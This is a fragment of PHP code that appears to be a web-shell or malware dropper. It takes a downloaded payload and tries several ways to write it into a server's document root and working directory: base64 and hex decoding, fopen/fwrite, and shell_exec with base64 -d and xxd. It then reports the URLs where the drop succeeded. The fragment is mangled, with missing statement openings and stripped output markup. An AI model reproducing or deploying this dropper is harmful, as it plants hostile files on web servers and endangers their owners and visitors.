[!] Cannot download payload using any method!
"); $payload_b64 = base64_encode($payload); $payload_hex = bin2hex($payload); $rootPath = rtrim($_SERVER['DOCUMENT_ROOT'],'/').DIRECTORY_SEPARATOR; $cwdPath = getcwd().DIRECTORY_SEPARATOR; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http"; $rootUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . "/$name"; $cwdUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['REQUEST_URI']) . "/$name"; echo "Downloaded payload: ".strlen($payload)." bytes. Trying drop methods..."; // ============= FILE_PUT_CONTENTS BASE64 SPLIT ============= echo "
[+] Success at $rootUrl
"; } else { echo "[-] Failed at $rootPath$name
"; } if (@file_put_contents($cwdPath.$name, base64_decode($out))) { echo "[+] Success at $cwdUrl
"; } else { echo "[-] Failed at $cwdPath$name
"; } // ============= FOPEN + FWRITE HEX2BIN ============= echo "[+] fopen hex2bin success at $rootUrl
"; } else { echo "[-] fopen hex2bin failed at $rootPath$name
"; } if ($fp2 = @fopen($cwdPath.$name, "w")) { @fwrite($fp2, hex2bin($payload_hex)); fclose($fp2); echo "[+] fopen hex2bin success at $cwdUrl
"; } else { echo "[-] fopen hex2bin failed at $cwdPath$name
"; } // ============= SHELL_EXEC BASE64 ============= echo "[+] shell_exec(base64) success at $rootUrl
"; } elseif (@shell_exec("cat $tmp_b64 | base64 -d > ".$cwdPath.$name)) { echo "[+] shell_exec(base64) success at $cwdUrl
"; } else { echo "[-] shell_exec(base64) failed
"; } } else { echo "[-] shell_exec disabled
"; } @unlink($tmp_b64); // ============= SHELL_EXEC HEX2BIN ============= echo "[+] shell_exec(hex2bin) success at $rootUrl
"; } elseif (@shell_exec("cat $tmp_hex | xxd -r -p > ".$cwdPath.$name)) { echo "[+] shell_exec(hex2bin) success at $cwdUrl
"; } else { echo "[-] shell_exec(hex2bin) failed
"; } } else { echo "[-] shell_exec disabled
"; } @unlink($tmp_hex); // ============= FINAL STATUS ============= if (file_exists($rootPath.$name)) { echo "